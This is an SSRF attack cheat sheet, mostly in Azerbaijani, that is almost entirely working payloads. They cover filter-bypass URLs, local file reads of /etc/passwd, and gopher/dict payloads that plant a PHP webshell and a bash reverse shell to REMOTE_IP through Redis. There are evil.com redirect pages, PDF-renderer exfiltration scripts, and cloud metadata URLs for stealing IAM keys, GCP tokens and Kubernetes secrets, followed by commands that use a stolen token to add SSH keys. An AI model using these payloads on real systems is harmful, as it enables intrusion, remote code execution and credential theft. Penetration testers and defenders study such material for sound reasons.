SSRF
SSRF nədir?
SSRF və ya Server Side Request Forgery, təcavüzkarın daxili resurslara gözlənilməz sorğular etmək üçün veb tətbiqini aldatması zamanı baş verən təhlükəsizlik zəifliyidir. Məlumat əldə etmək üçün URL daxil etməyə imkan verən veb saytı təsəvvür edin. Sadə SSRF hücumunda təcavüzkar ictimai veb-səhifədən çox, verilənlər bazası və ya idarəetmə paneli kimi daxili serverə işarə edən zərərli URL daxil edə bilər. Veb tətbiqi istifadəçi daxiletmələrini düzgün təsdiqləməzsə və ya filtrləməzsə, o, istəmədən təcavüzkarın adından bu daxili resurslara sorğular göndərə bilər. Bu, icazəsiz girişə, məlumatların ifşasına və ya hətta uzaqdan kodun icrasına səbəb ola bilər. Məsələn, əgər vebsayt URL vasitəsilə şəkilləri götürürsə və təcavüzkar daxili serverə keçid təqdim edirsə, onlar həssas məlumatlara daxil olmaq və ya həmin serverdə əmrləri yerinə yetirmək üçün SSRF-dən istifadə edə bilərlər. O, bu cür hücumların qarşısını almaq üçün girişin yoxlanılması və təhlükəsizlik tədbirlərinin vacibliyini vurğulayır.
SSRF üçün potensial yerlərin müəyyən edilməsi
Xarici xidmətlə qarşılıqlı əlaqəyə imkan verən istənilən funksionallıq, üçüncü tərəfin URL-ini və ya xidmət inteqrasiyasını istifadə edə bildiyi yerlərdə ola bilər.
SSRF Zəifliklərini Necə Tapmaq olar
SSRF zəifliyini müəyyən etmək üçün ilk addım funksionallığın həssas olduğunu təsdiqləməkdir, bunu etmək üçün asan/miqyaslı bir yol Linode-da öz Burp Collaborator-dan istifadə etməkdir. Burp Collaborator asanlıqla diapazondan kənar qarşılıqlı əlaqənin mümkün olub-olmadığını qiymətləndirməyə imkan verəcək (hədəf server birbaşa nəzarət etdiyiniz serverə daxil olur). Qeyd etmək lazımdır ki, funksiya Burp Collaborator vasitəsilə müəyyən edilməsə belə, potensial olaraq həssas ola bilər, bu adətən hədəf serverin gedən DNS və ya strict egress firewall rules icazə verməməsi ilə əlaqədardır.
Payloads with localhost
localhost
istifadə edərək
http://localhost:80
http://localhost:443
http://localhost:22
127.0.0.1
istifadə edərəkhttp://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22
0.0.0.0
istifadə edərəkhttp://0.0.0.0:80 http://0.0.0.0:443 http://0.0.0.0:22
Bypassing filters
Bypass HTTPS istifadə edərək
https://127.0.0.1/
https://localhost/
Bypass localhost [::] ilə
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0000::1]:25/ SMTP
http://[0000::1]:22/ SSH
http://[0000::1]:3128/ Squid
Domain yönləndirməsi ilə localhost Bypass
localtest.me
::1
localh.st
127.0.0.1
spoofed.[BURP_COLLABORATOR]
127.0.0.1
spoofed.redacted.oastify.com
127.0.0.1
company.127.0.0.1.nip.io
127.0.0.1
Nip.io xidməti bunun üçün əladır, istənilən IP ünvanını dns kimi çevirəcək.
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
Bypass localhost with CIDR
IP addresses from 127.0.0.0/8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
Bypass a decimal IP location istifadə edərək
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
Bypass octal IP istifadə edərək
Tətbiqlər ipv4-ün səkkizlik formatının necə idarə olunmasına görə fərqlənir.
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
...
Bypass IPv6/IPv4 Address Embedding istifadə edərək
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]
Bypass malformed urls istifadə edərək
localhost:+11211aaa
localhost:00011211aaaa
Bypass rare address istifadə edərək
Sıfırları ataraq IP ünvanlarını qısaltmaq olar
http://0/
http://127.1
http://127.0.1
Bypass URL encoding istifadə edərək
Single or double encode a specific URL to bypass blacklist
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
Bypass bash variables istifadə edərək
(curl only)
curl -v "http://evil$google.com"
$google = ""
Bypass tricks combination istifadə edərək
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
Bypass enclosed alphanumerics istifadə edərək
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
Bypass unicode istifadə edərək
In some languages (.NET, Python 3) regex supports unicode by default. \d
includes 0123456789
but also ๐๑๒๓๔๕๖๗๘๙
.
Bypass filter_var() php function
0://evil.com:80;http://google.com:80/
Bypass against a weak parser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Bypassing a redirect istifadə edərək
1. Ağ siyahıya alınmış hostda sorğuları SSRF-yə hədəf URL-ə yönləndirən səhifə yaradın (məsələn, 192.168.0.1)
2. vulnerable.com/index.php?url=http://YOUR_SERVER_IP ünvanına işarə edən SSRF-ni işə salın
vulnerable.com 192.168.0.1-ə yönləndiriləcək SİZİN_SERVER_IP-ni əldə edəcək
3. Siz [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) və [308](https://developer.mozilla.org/) cavab kodlarından istifadə edə bilərsiniz. en-US/docs/Web/HTTP/Status/308) yönləndirmədən sonra HTTP metodunu və gövdəsini saxlamaq üçün.
Bypassing type=url istifadə edərək
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
Bypassing DNS Rebinding (TOCTOU) istifadə edərək
Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Bypassing jar protocol (java only) istifadə edərək
Blind SSRF
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
SSRF exploitation via URL Scheme
File
Təcavüzkarın serverdəki faylın məzmununu əldə etməyə imkan verir
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
HTTP
Təcavüzkarın internetdən istənilən məzmunu əldə etməsinə imkan verir, o, həmçinin portları skan etmək üçün də istifadə edilə bilər.
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

Dict
DICT URL sxemi DICT protokolundan istifadə etməklə mövcud olan definitionlara və ya wordlistlərə istinad etmək üçün istifadə olunur:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP
Twork protokolu təhlükəsiz shell üzərindən təhlükəsiz fayl ötürülməsi üçün istifadə olunur
ssrf.php?url=sftp://evil.com:11111/
TFTP
Trivial File Transfer Protocol, UDP üzərində işləyir
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP
Lightweight Directory Access Protocol. Bu paylanmış kataloq məlumat xidmətini idarə etmək və əldə etmək üçün IP şəbəkəsi üzərindən istifadə edilən proqram protokoludur.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: [Hacker] <[email protected]>
To: <[email protected]>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH
You didn't say the magic word !
.
QUIT
Gopher HTTP
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
Gopher SMTP - Back connect to 1337
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher SMTP - send a mail
Content of evil.com/redirect.php:
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <[email protected]>',
'RCPT To: <[email protected]>',
'DATA',
'Subject: @sxcurity!',
'Corben was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
Netdoc
Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
ssrf.php?url=netdoc:///etc/passwd
SSRF exploiting WSGI
Exploit the Gopher protocol istifadə edərək
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
modifier1
(1 byte)
0 (%00)
datasize
(2 bytes)
26 (%1A%00)
modifier2
(1 byte)
0 (%00)
key length
(2 bytes)
10
(%0A%00)
key data
(m bytes)
UWSGI_FILE
value length
(2 bytes)
12
(%0C%00)
value data
(n bytes)
/tmp/test.py
SSRF exploiting Redis
Redis, hər şeyi RAM-da saxlayan verilənlər bazası sistemidir
# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE
# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
SSRF exploiting PDF file

Example with WeasyPrint by @nahamsec
<link rel=attachment href="file:///root/secret.txt">
Example with PhantomJS
<script>
exfil = new XMLHttpRequest();
exfil.open("GET","file:///etc/passwd");
exfil.send();
exfil.onload = function(){document.write(this.responseText);}
exfil.onerror = function(){document.write('failed!')}
</script>
Blind SSRF
Server tərəfi sorğu saxtakarlığından istifadə edərkən biz tez-tez cavabın oxunmadığı bir vəziyyətdə tapa bilərik.
Out-of-Band çıxışı əldə etmək üçün SSRF zəncirindən istifadə edin.
Possible via Gopher
SSRF to XSS
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
SSRF from XSS
Using an iframe
Faylın məzmunu PDF daxilində şəkil və ya mətn kimi inteqrasiya olunacaq.
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
Using an attachment
HTML istifadə edərək PDF qoşma nümunəsi
istifadə et
<link rel=attachment href="URL">
as Bio textPDF əldə etmək üçün "Məlumatları Yüklə" funksiyasından istifadə edin
istifadə et
pdfdetach -saveall filename.pdf
daxil edilmiş resursu çıxarmaq üçüncat attachment.bin
SSRF URL for Cloud Instances
SSRF URL for AWS
AWS İnstance Metadata Xidməti Amazon EC2 instansiyalarında mövcud olan xidmətdir və həmin instansiyalara özləri haqqında metadata əldə etməyə imkan verir. - Docs
IPv4 endpoint (old):
http://169.254.169.254/latest/meta-data/
IPv4 endpoint (new) requires the header
X-aws-ec2-metadata-token
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"` curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
IPv6 endpoint:
http://[fd00:ec2::254]/latest/meta-data/
WAF vəziyyətində, API-yə qoşulmağın müxtəlif yollarını sınamaq istəyə bilərsiniz.
DNS record pointing to the AWS API IP
http://instance-data http://169.254.169.254 http://169.254.169.254.nip.io/
HTTP redirect
Static:http://nicob.net/redir6a Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
Encoding the IP to bypass WAF
http://425.510.425.510 Dotted decimal with overflow http://2852039166 Dotless decimal http://7147006462 Dotless decimal with overflow http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal http://0xA9FEA9FE Dotless hexadecimal http://0x41414141A9FEA9FE Dotless hexadecimal with overflow http://0251.0376.0251.0376 Dotted octal http://0251.00376.000251.0000376 Dotted octal with padding http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal) http://[::ffff:a9fe:a9fe] IPV6 Compressed http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4 http://[fd00:ec2::254] IPV6
Bu URL-lər nümunə ilə əlaqəli IAM rollarının siyahısını qaytarır. Daha sonra rol üçün təhlükəsizlik etimadnaməsini əldə etmək üçün bu URL-ə rolun adını əlavə edə bilərsiniz.
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
# Examples
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
Bu URL nümunəni işə salarkən müəyyən edilmiş istifadəçi məlumatlarına daxil olmaq üçün istifadə olunur. İstifadəçi məlumatları tez-tez başlanğıc skriptlərini və ya digər konfiqurasiya məlumatlarını nümunəyə ötürmək üçün istifadə olunur.
http://169.254.169.254/latest/user-data
Host adı, ictimai IPv4 ünvanı və digər xassələr kimi nümunə haqqında metadatanın müxtəlif hissələrinə daxil olmaq üçün sorğu üçün digər URL-lər.
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
E.g: Jira SSRF leading to AWS info disclosure - https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance
E.g2: Flaws challenge - http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
SSRF URL for AWS ECS
ECS instansiyasında fayl sisteminə girişi olan SSRF varsa, çıxarmağa cəhd edin/proc/self/environ
UUID almaq üçün.
curl http://169.254.170.2/v2/credentials/<UUID>
Bu yolla siz əlavə edilmiş rolun IAM açarlarını çıxaracaqsınız
SSRF URL for AWS Elastic Beanstalk
API-dən accountId
və bölgəni əldə edirik.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Biz API-dan AccessKeyId
, SecretAccessKey
, and Token
əldə edirik.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
SSRF URL for AWS Lambda
AWS Lambda, Lambda-dan çağırış hadisələrini qəbul etmək və cavab məlumatlarını Lambda icra mühitində geri göndərmək üçün xüsusi iş vaxtları üçün HTTP API təmin edir.
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
SSRF URL for Google Cloud
⚠️ Google yanvarın 15-də v1 metadata xidmətinin istifadəsi üçün dəstəyi dayandırır. "Metadata-Flavor: Google" və ya "X-Google-Metadata-Request: True" başlığını tələb edir
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Google rekursiv çəkməyə icazə verir
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
Beta başlıq atm tələb etmir
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Tələb olunan başlıqlar aşağıdakı texnika ilə gopher SSRF istifadə edərək təyin edilə bilər
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
Çıxarmaq üçün maraqlı fayllar:
SSH Public Key :
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
Get Access Token :
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
Kubernetes Key :
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
Add an SSH key
Tokeni çıxarın
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Tokenin əhatə dairəsini yoxlayın
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
İndi SSH yoxlayın.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
SSRF URL for Digital Ocean
Sənədlər burada mövcuddur: https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
SSRF URL for Oracle Cloud
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
SSRF URL for Alibaba
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
SSRF URL for Kubernetes ETCD
API açarları və daxili ip və portları əhatə edə bilər
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
SSRF URL for Docker
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
Last updated
Was this helpful?